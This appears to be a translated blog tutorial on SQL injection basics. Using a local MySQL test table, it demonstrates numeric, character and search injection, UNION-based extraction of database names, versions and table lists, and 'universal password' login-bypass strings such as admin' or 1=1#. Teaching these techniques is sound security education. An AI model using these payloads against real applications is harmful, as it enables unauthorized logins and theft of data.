Cause#
A foundational tutorial on penetration testing that has been in preparation for a long time.
After introducing basic information gathering and penetration environment setup, this officially begins.
It may take a long time to complete, but it will definitely be updated continuously.
** Declaration: The author's original intention is to share and popularize cybersecurity knowledge. If readers engage in any harmful cybersecurity behavior as a result, they bear the consequences, and it has nothing to do with the author or this website. **
Introduction to SQL Injection#
SQL Statement: SQL (Structured Query Language) is the standard language for communication with relational databases.
Query: SELECT statement FROM table WHERE condition
Delete record: DELETE FROM table WHERE condition
Update record: UPDATE table SET field=value WHERE condition
Add record: INSERT INTO table field VALUES(values)
SQL Injection:
Occurs when programmers do not validate the legitimacy of user input data while writing code, creating security vulnerabilities in the application. Users can submit a segment of database query code and obtain certain data they wish to know or perform database operations based on the results returned by the program.
SQL Injection Attack Process:
- Identify injection points
- Determine injection point types
- Identify database types
- Retrieve database data and escalate privileges
Analysis of SQL Injection Principles#
This tutorial is based on the SQL injection tutorial by the expert shack2.
I don't remember clearly because the note was created on 19-03-01
:
Moreover, the expert shack2
's blog has now been taken down, leaving only a GitHub link.
Many of the expert's tools are also very useful, which will be introduced later. In this article, there are some environments that I do not have.
I can only use the expert's images, but I can definitely understand them.
I will use the local Navicat for MySql
tool and the MySql
database provided by phpstudy
for explanation.
I have introduced both tools earlier, which are:
- <>
- <<Penetration Practice Environment Setup (Long-term Update)>>
After connecting to the local mysql
database with the Navicat
tool, create a new database test
.
In test
, create a new table new
:
Fill in the following data:
id | title | content | type |
---|---|---|---|
1 | I am SQL Injection | Do you know? | 1 |
2 | I am not SQL Injection | Don't you know yet? | 2 |
Then use the query tool to run the following statement to insert a row:
INSERT INTO test.new VALUES(3,'test','test',3)
Click run, refresh the new table, and find that the data has been inserted:
Let's do a basic query:
To find part of the data, we can use limit(x,y) to query y rows of data starting from the x-th row.
For example, here we query 1 row of data starting from the 0-th row (the keyword in SQL Server is top):
Numeric Injection#
We query id=1
:
Query id=1 AND 1=2
, no data:
At this point, we can determine that there is a SQL injection. If there is no filtering, we can perform a blind injection. Let's try or 1=1
(always true):
This can also be understood as:
SELECT * FROM test.new WHERE (id=1 OR 1=1)
Let's try a blind injection by directly adding a '
:
An SQL error message is printed, indicating that error display injection is supported.
Let's try using Union, directly Union Select 1
:
It returned an error, column mismatch, so we use order by
to determine the columns:
Adding order by
to 5 returned an error (it may also be due to no data):
This indicates that this table has 4 columns of data. If the original query statement is:
SELECT * FROM test.new WHERE id=1 AND 1=1 AND type='2'
At this point, adding an ORDER BY
may not matter:
SELECT * FROM test.new WHERE id=1 ORDER BY 1 AND type='2'
However, sometimes if the program itself has ORDER BY
, for example, if the original statement is:
SELECT * FROM test.new WHERE id=1 ORDER BY id DESC
Then we need to insert another ORDER BY
at the position of 1:
SELECT * FROM test.new WHERE id=1 ORDER BY 1 ORDER BY id DESC
This statement will return an error:
At this point, we can use # to comment out the subsequent statement (sometimes we need to consider character encoding %23, because in URLs # indicates an anchor link, directly locating to a position within the webpage):
SELECT * FROM test.new WHERE id=1 ORDER BY 1#23ORDER BY id DESC
Next, let's discuss how to determine whether a certain database exists. We can use the exists
function:
SELECT * FROM test.new WHERE id=1 AND EXISTS(SELECT 1 FROM admin)
Returning normally indicates that the admin
table exists. MYSQL
has a built-in information_schema
database.
Now let's check whether information_schema.tables
exists to determine if this database is a MySQL
database:
Returning normally, we can use Union SELECT
to see which column can support display (here using images from the expert's tutorial):
** Here, due to my poor environment, only part of the columns are displayed. In reality, many targets have multiple fields but only display part of the fields. **
This image clearly shows that the second column can be displayed, but if only one query result is supported, it is very likely that we cannot see the subsequent results.
We can negate the previous part by adding AND 1=2
, so that only one of our subsequent data will be displayed:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,2,3,4231
Knowing the display position, we can do something with it. Let's first query a database:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,DATABASE(),3,4231
Next, let's query a version:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,VERSION(),3,4231
We can see that the version number is 5.5.53
, and now let's query all table names in the information_schema
database:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,table_name,3,4231 FROM information_schema.tables
The delay function can be directly sleep(10)
:
Character Injection#
We assume the test address is:
SELECT * FROM test.new WHERE type=2
Let's start with an AND 1=1
:
Next, let's try 1=2
:
We find that there is no output and no error. So what should we do? Let's analyze the characters: the original statement is:
SELECT * FROM test.new WHERE type='xxx'
Now we want to query type=2
while also adding AND 1=1
:
SELECT * FROM test.new WHERE type='2' AND 1=1'
There is still a single quote at the end, so the best way is to close it with a character type:
SELECT * FROM test.new WHERE type='2' AND '1'='1'
This means our query data is: 2' AND '1'='1
, which queries 2
and also adds AND 1=1
:
The rest is similar to the numeric injection mentioned above, such as order by
:
SELECT * FROM test.new WHERE type='2' ORDER BY 1
Union:
SELECT * FROM test.new WHERE type='2' UNION SELECT 1,2,3,4 FROM DUAL
Search Injection#
The general statement is as follows:
SELECT * FROM test.new WHERE title LIKE '%xxx%'
For example:
We can use the program's own %' to close the previous part and then # to comment out the latter:
Since we are submitting via POST, there is no need for encoding. If it were a GET method, we would need to encode it first.
So we know that the query statement is '%xxx%', and we can directly search for '%' and '%'=' to close it.
Universal Password#
admin' or 'a'='a
admin' or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver)
This essentially means closing it. For convenience in explanation, I will create an admin
table in the test
database with the following data:
id | username | passwd |
---|---|---|
7 | test | test |
8 | null | null |
9 | null | null |
10 | aaa | xx |
11 | aaa | xx |
12 |
Let's analyze this classic login statement:
SELECT * FROM test.admin WHERE username='aaa' AND passwd='xx'
When we want to insert or 'a' ='a'
in the middle, it forms the following statement:
SELECT * FROM test.admin WHERE username='aaa' OR 'a'='a' AND passwd='xx'
This can query successfully, and at this point, our input part is:
aaa' OR 'a'='a
This way, we can close the two quotes around username
, and we can query any username's data.
The queried data will all have password
as xx
:
However, this is under the premise that the password
is correct, so it is best to input it as empty:
We can also use the comment symbol:
SELECT * FROM test.admin WHERE username='xxx' OR 1=1#
This will allow us to query all data. In simple terms, it closes the previous username
and keeps it true.
Then # comments out the subsequent password
, and it’s OK
. This is the origin of the universal password admin' or 'a'='a
.
So under the condition of the universal password, as long as we know the username
, we can log into the account.
When the universal password is used in the password
field, the statement is as follows:
SELECT * FROM test.admin WHERE username='adhajsdas' AND passwd='dhaisdhias' or 'a'='a'
Because the program treats the previous part as a whole:
SELECT * FROM test.admin WHERE (username='adhajsdas' AND password='dhaisdhias') or ('a'='a')
So this is always true, but the login part will definitely not directly SELECT *
, but it can still get all results from its SELECT
.
The basic principles are still quite dry. Later, I will provide some examples and simple memory techniques, so stay tuned!
The article ends here.